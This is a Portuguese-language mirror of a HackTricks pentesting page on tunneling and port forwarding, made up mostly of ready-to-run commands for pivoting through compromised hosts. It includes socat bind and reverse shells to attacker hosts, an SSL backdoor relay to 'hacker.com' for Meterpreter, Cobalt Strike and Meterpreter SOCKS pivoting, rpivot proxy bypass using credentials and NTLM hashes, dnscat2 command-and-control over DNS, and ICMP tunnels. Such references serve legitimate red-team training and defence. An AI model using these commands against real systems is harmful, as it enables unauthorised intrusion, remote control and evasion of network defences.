mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 20:43:29 +00:00
551 lines
21 KiB
Markdown
551 lines
21 KiB
Markdown
# Tunneling and Port Forwarding
|
||
|
||
{% hint style="success" %}
|
||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
**Try Hard Security Group**
|
||
|
||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||
|
||
***
|
||
|
||
## Dica do Nmap
|
||
|
||
{% hint style="warning" %}
|
||
**ICMP** e **SYN** scans não podem ser tunelados através de proxies socks, então devemos **desativar a descoberta de ping** (`-Pn`) e especificar **scans TCP** (`-sT`) para que isso funcione.
|
||
{% endhint %}
|
||
|
||
## **Bash**
|
||
|
||
**Host -> Jump -> InternalA -> InternalB**
|
||
```bash
|
||
# On the jump server connect the port 3333 to the 5985
|
||
mknod backpipe p;
|
||
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe
|
||
|
||
# On InternalA accessible from Jump and can access InternalB
|
||
## Expose port 3333 and connect it to the winrm port of InternalB
|
||
exec 3<>/dev/tcp/internalB/5985
|
||
exec 4<>/dev/tcp/Jump/3333
|
||
cat <&3 >&4 &
|
||
cat <&4 >&3 &
|
||
|
||
# From the host, you can now access InternalB from the Jump server
|
||
evil-winrm -u username -i Jump
|
||
```
|
||
## **SSH**
|
||
|
||
Conexão gráfica SSH (X)
|
||
```bash
|
||
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
||
```
|
||
### Local Port2Port
|
||
|
||
Abra nova porta no servidor SSH --> Outra porta
|
||
```bash
|
||
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
|
||
```
|
||
|
||
```bash
|
||
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
|
||
```
|
||
### Port2Port
|
||
|
||
Porta local --> Host comprometido (SSH) --> Terceira\_caixa:Port
|
||
```bash
|
||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||
#Example
|
||
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
||
```
|
||
### Port2hostnet (proxychains)
|
||
|
||
Porta Local --> Host comprometido (SSH) --> Onde quer que seja
|
||
```bash
|
||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||
```
|
||
### Reverse Port Forwarding
|
||
|
||
Isso é útil para obter shells reversos de hosts internos através de uma DMZ para o seu host:
|
||
```bash
|
||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
|
||
# Note that port 443 must be open
|
||
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
|
||
# and change the line "GatewayPorts no" to "GatewayPorts yes"
|
||
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
|
||
```
|
||
### VPN-Tunnel
|
||
|
||
Você precisa de **root em ambos os dispositivos** (já que você vai criar novas interfaces) e a configuração do sshd deve permitir login como root:\
|
||
`PermitRootLogin yes`\
|
||
`PermitTunnel yes`
|
||
```bash
|
||
ssh root@server -w any:any #This will create Tun interfaces in both devices
|
||
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
|
||
ifconfig tun0 up #Activate the client side network interface
|
||
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
|
||
ifconfig tun0 up #Activate the server side network interface
|
||
```
|
||
Habilite o encaminhamento no lado do Servidor
|
||
```bash
|
||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
|
||
```
|
||
Defina uma nova rota no lado do cliente
|
||
```
|
||
route add -net 10.0.0.0/16 gw 1.1.1.1
|
||
```
|
||
## SSHUTTLE
|
||
|
||
Você pode **tunneling** via **ssh** todo o **tráfego** para uma **sub-rede** através de um host.\
|
||
Por exemplo, encaminhando todo o tráfego que vai para 10.10.10.0/24
|
||
```bash
|
||
pip install sshuttle
|
||
sshuttle -r user@host 10.10.10.10/24
|
||
```
|
||
Conectar com uma chave privada
|
||
```bash
|
||
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
||
# -D : Daemon mode
|
||
```
|
||
## Meterpreter
|
||
|
||
### Port2Port
|
||
|
||
Porta local --> Host comprometido (sessão ativa) --> Terceira\_caixa:Port
|
||
```bash
|
||
# Inside a meterpreter session
|
||
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
||
```
|
||
### SOCKS
|
||
```bash
|
||
background# meterpreter session
|
||
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
|
||
use auxiliary/server/socks_proxy
|
||
run #Proxy port 1080 by default
|
||
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||
```
|
||
Outra maneira:
|
||
```bash
|
||
background #meterpreter session
|
||
use post/multi/manage/autoroute
|
||
set SESSION <session_n>
|
||
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
|
||
set NETMASK <Netmask>
|
||
run
|
||
use auxiliary/server/socks_proxy
|
||
set VERSION 4a
|
||
run #Proxy port 1080 by default
|
||
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||
```
|
||
## Cobalt Strike
|
||
|
||
### SOCKS proxy
|
||
|
||
Abra uma porta no teamserver ouvindo em todas as interfaces que podem ser usadas para **rotear o tráfego através do beacon**.
|
||
```bash
|
||
beacon> socks 1080
|
||
[+] started SOCKS4a server on: 1080
|
||
|
||
# Set port 1080 as proxy server in proxychains.conf
|
||
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
||
```
|
||
### rPort2Port
|
||
|
||
{% hint style="warning" %}
|
||
Neste caso, a **porta é aberta no host beacon**, não no Team Server, e o tráfego é enviado para o Team Server e, a partir daí, para o host:porta indicado.
|
||
{% endhint %}
|
||
```bash
|
||
rportfwd [bind port] [forward host] [forward port]
|
||
rportfwd stop [bind port]
|
||
```
|
||
Para notar:
|
||
|
||
- O **reverso port forward do Beacon** é projetado para **tunar o tráfego para o Servidor da Equipe, não para relatar entre máquinas individuais**.
|
||
- O tráfego é **tunelado dentro do tráfego C2 do Beacon**, incluindo links P2P.
|
||
- **Privilégios de administrador não são necessários** para criar reversos port forwards em portas altas.
|
||
|
||
### rPort2Port local
|
||
|
||
{% hint style="warning" %}
|
||
Neste caso, a **porta é aberta no host do beacon**, não no Servidor da Equipe e o **tráfego é enviado para o cliente Cobalt Strike** (não para o Servidor da Equipe) e de lá para o host:porta indicado.
|
||
{% endhint %}
|
||
```
|
||
rportfwd_local [bind port] [forward host] [forward port]
|
||
rportfwd_local stop [bind port]
|
||
```
|
||
## reGeorg
|
||
|
||
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
|
||
|
||
Você precisa fazer o upload de um arquivo web tunnel: ashx|aspx|js|jsp|php|php|jsp
|
||
```bash
|
||
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
||
```
|
||
## Chisel
|
||
|
||
Você pode baixá-lo na página de lançamentos de [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||
Você precisa usar a **mesma versão para cliente e servidor**
|
||
|
||
### socks
|
||
```bash
|
||
./chisel server -p 8080 --reverse #Server -- Attacker
|
||
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
|
||
#And now you can use proxychains with port 1080 (default)
|
||
|
||
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
|
||
./chisel client -v 10.10.10.10:8080 socks #Attacker
|
||
```
|
||
### Encaminhamento de portas
|
||
```bash
|
||
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
|
||
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
|
||
```
|
||
## Rpivot
|
||
|
||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||
|
||
Túnel reverso. O túnel é iniciado pela vítima.\
|
||
Um proxy socks4 é criado em 127.0.0.1:1080
|
||
```bash
|
||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||
```
|
||
|
||
```bash
|
||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||
```
|
||
Fazer pivot através do **NTLM proxy**
|
||
```bash
|
||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||
```
|
||
|
||
```bash
|
||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
|
||
```
|
||
## **Socat**
|
||
|
||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||
|
||
### Shell de ligação
|
||
```bash
|
||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
||
```
|
||
### Shell reversa
|
||
```bash
|
||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||
```
|
||
### Port2Port
|
||
```bash
|
||
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||
```
|
||
### Port2Port através de socks
|
||
```bash
|
||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||
```
|
||
### Meterpreter através de SSL Socat
|
||
```bash
|
||
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
||
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
||
```
|
||
|
||
```bash
|
||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||
#Execute the meterpreter
|
||
```
|
||
Você pode contornar um **proxy não autenticado** executando esta linha em vez da última no console da vítima:
|
||
```bash
|
||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||
```
|
||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
||
|
||
### Túnel SSL Socat
|
||
|
||
**/bin/sh console**
|
||
|
||
Crie certificados em ambos os lados: Cliente e Servidor
|
||
```bash
|
||
# Execute these commands on both sides
|
||
FILENAME=socatssl
|
||
openssl genrsa -out $FILENAME.key 1024
|
||
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
|
||
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
|
||
chmod 600 $FILENAME.key $FILENAME.pem
|
||
```
|
||
|
||
```bash
|
||
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
|
||
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
|
||
```
|
||
### Remote Port2Port
|
||
|
||
Conecte a porta SSH local (22) à porta 443 do host atacante
|
||
```bash
|
||
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
||
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
||
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
|
||
```
|
||
## Plink.exe
|
||
|
||
É como uma versão de console do PuTTY (as opções são muito semelhantes a um cliente ssh).
|
||
|
||
Como este binário será executado na vítima e é um cliente ssh, precisamos abrir nosso serviço e porta ssh para que possamos ter uma conexão reversa. Então, para encaminhar apenas a porta acessível localmente para uma porta em nossa máquina:
|
||
```bash
|
||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||
```
|
||
## Windows netsh
|
||
|
||
### Port2Port
|
||
|
||
Você precisa ser um administrador local (para qualquer porta)
|
||
```bash
|
||
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
|
||
# Example:
|
||
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
|
||
# Check the port forward was created:
|
||
netsh interface portproxy show v4tov4
|
||
# Delete port forward
|
||
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||
```
|
||
## SocksOverRDP & Proxifier
|
||
|
||
Você precisa ter **acesso RDP sobre o sistema**.\
|
||
Baixe:
|
||
|
||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Esta ferramenta usa `Dynamic Virtual Channels` (`DVC`) do recurso de Serviço de Área de Trabalho Remota do Windows. DVC é responsável por **tunneling de pacotes sobre a conexão RDP**.
|
||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||
|
||
No seu computador cliente, carregue **`SocksOverRDP-Plugin.dll`** assim:
|
||
```bash
|
||
# Load SocksOverRDP.dll using regsvr32.exe
|
||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||
```
|
||
Agora podemos **conectar** ao **vítima** via **RDP** usando **`mstsc.exe`**, e devemos receber um **prompt** dizendo que o **plugin SocksOverRDP está habilitado**, e ele irá **escutar** em **127.0.0.1:1080**.
|
||
|
||
**Conecte-se** via **RDP** e faça o upload e execute no computador da vítima o binário `SocksOverRDP-Server.exe`:
|
||
```
|
||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||
```
|
||
Agora, confirme em sua máquina (atacante) que a porta 1080 está escutando:
|
||
```
|
||
netstat -antb | findstr 1080
|
||
```
|
||
Agora você pode usar [**Proxifier**](https://www.proxifier.com/) **para fazer proxy do tráfego através daquela porta.**
|
||
|
||
## Proxificar Aplicativos GUI do Windows
|
||
|
||
Você pode fazer aplicativos GUI do Windows navegarem através de um proxy usando [**Proxifier**](https://www.proxifier.com/).\
|
||
Em **Perfil -> Servidores Proxy** adicione o IP e a porta do servidor SOCKS.\
|
||
Em **Perfil -> Regras de Proxificação** adicione o nome do programa a ser proxificado e as conexões para os IPs que você deseja proxificar.
|
||
|
||
## Bypass de proxy NTLM
|
||
|
||
A ferramenta mencionada anteriormente: **Rpivot**\
|
||
**OpenVPN** também pode contorná-lo, configurando essas opções no arquivo de configuração:
|
||
```bash
|
||
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||
```
|
||
### Cntlm
|
||
|
||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||
|
||
Ele se autentica contra um proxy e vincula uma porta local que é encaminhada para o serviço externo que você especificar. Então, você pode usar a ferramenta de sua escolha através dessa porta.\
|
||
Por exemplo, encaminhe a porta 443.
|
||
```
|
||
Username Alice
|
||
Password P@ssw0rd
|
||
Domain CONTOSO.COM
|
||
Proxy 10.0.0.10:8080
|
||
Tunnel 2222:<attackers_machine>:443
|
||
```
|
||
Agora, se você configurar, por exemplo, no vítima o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
|
||
Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está escutando na porta 2222.
|
||
|
||
## YARP
|
||
|
||
Um proxy reverso criado pela Microsoft. Você pode encontrá-lo aqui: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||
|
||
## DNS Tunneling
|
||
|
||
### Iodine
|
||
|
||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||
|
||
Root é necessário em ambos os sistemas para criar adaptadores tun e tunnel dados entre eles usando consultas DNS.
|
||
```
|
||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||
#You can see the victim at 1.1.1.2
|
||
```
|
||
O túnel será muito lento. Você pode criar uma conexão SSH comprimida através deste túnel usando:
|
||
```
|
||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||
```
|
||
### DNSCat2
|
||
|
||
[**Baixe aqui**](https://github.com/iagox86/dnscat2)**.**
|
||
|
||
Estabelece um canal C\&C através do DNS. Não precisa de privilégios de root.
|
||
```bash
|
||
attacker> ruby ./dnscat2.rb tunneldomain.com
|
||
victim> ./dnscat2 tunneldomain.com
|
||
|
||
# If using it in an internal network for a CTF:
|
||
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
|
||
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
||
```
|
||
#### **No PowerShell**
|
||
|
||
Você pode usar [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) para executar um cliente dnscat2 no powershell:
|
||
```
|
||
Import-Module .\dnscat2.ps1
|
||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||
```
|
||
#### **Encaminhamento de porta com dnscat**
|
||
```bash
|
||
session -i <sessions_id>
|
||
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
||
```
|
||
#### Mudar o DNS do proxychains
|
||
|
||
Proxychains intercepta a chamada `gethostbyname` da libc e encaminha a solicitação DNS tcp através do proxy socks. Por **padrão**, o servidor **DNS** que o proxychains usa é **4.2.2.2** (codificado). Para mudá-lo, edite o arquivo: _/usr/lib/proxychains3/proxyresolv_ e altere o IP. Se você estiver em um **ambiente Windows**, pode definir o IP do **controlador de domínio**.
|
||
|
||
## Túneis em Go
|
||
|
||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||
|
||
## Tunneling ICMP
|
||
|
||
### Hans
|
||
|
||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||
|
||
Root é necessário em ambos os sistemas para criar adaptadores tun e encaminhar dados entre eles usando solicitações de eco ICMP.
|
||
```bash
|
||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
|
||
```
|
||
### ptunnel-ng
|
||
|
||
[**Baixe aqui**](https://github.com/utoni/ptunnel-ng.git).
|
||
```bash
|
||
# Generate it
|
||
sudo ./autogen.sh
|
||
|
||
# Server -- victim (needs to be able to receive ICMP)
|
||
sudo ptunnel-ng
|
||
# Client - Attacker
|
||
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
|
||
# Try to connect with SSH through ICMP tunnel
|
||
ssh -p 2222 -l user 127.0.0.1
|
||
# Create a socks proxy through the SSH connection through the ICMP tunnel
|
||
ssh -D 9050 -p 2222 -l user 127.0.0.1
|
||
```
|
||
## ngrok
|
||
|
||
**[ngrok](https://ngrok.com/) é uma ferramenta para expor soluções à Internet em uma linha de comando.**
|
||
*As URIs de exposição são como:* **UID.ngrok.io**
|
||
|
||
### Instalação
|
||
|
||
- Crie uma conta: https://ngrok.com/signup
|
||
- Download do cliente:
|
||
```bash
|
||
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
|
||
chmod a+x ./ngrok
|
||
# Init configuration, with your token
|
||
./ngrok config edit
|
||
```
|
||
### Usos básicos
|
||
|
||
**Documentação:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
||
|
||
*Também é possível adicionar autenticação e TLS, se necessário.*
|
||
|
||
#### Tunneling TCP
|
||
```bash
|
||
# Pointing to 0.0.0.0:4444
|
||
./ngrok tcp 4444
|
||
# Example of resulting link: 0.tcp.ngrok.io:12345
|
||
# Listen (example): nc -nvlp 4444
|
||
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
|
||
```
|
||
#### Expondo arquivos com HTTP
|
||
```bash
|
||
./ngrok http file:///tmp/httpbin/
|
||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||
```
|
||
#### Capturando chamadas HTTP
|
||
|
||
*Útil para XSS, SSRF, SSTI ...*
|
||
Diretamente do stdout ou na interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||
|
||
#### Tunelando serviço HTTP interno
|
||
```bash
|
||
./ngrok http localhost:8080 --host-header=rewrite
|
||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||
# With basic auth
|
||
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
|
||
```
|
||
#### ngrok.yaml exemplo de configuração simples
|
||
|
||
Ele abre 3 túneis:
|
||
- 2 TCP
|
||
- 1 HTTP com exposição de arquivos estáticos de /tmp/httpbin/
|
||
```yaml
|
||
tunnels:
|
||
mytcp:
|
||
addr: 4444
|
||
proto: tcptunne
|
||
anothertcp:
|
||
addr: 5555
|
||
proto: tcp
|
||
httpstatic:
|
||
proto: http
|
||
addr: file:///tmp/httpbin/
|
||
```
|
||
## Outras ferramentas para verificar
|
||
|
||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||
|
||
**Try Hard Security Group**
|
||
|
||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||
|
||
***
|
||
|
||
{% hint style="success" %}
|
||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
{% endhint %}
|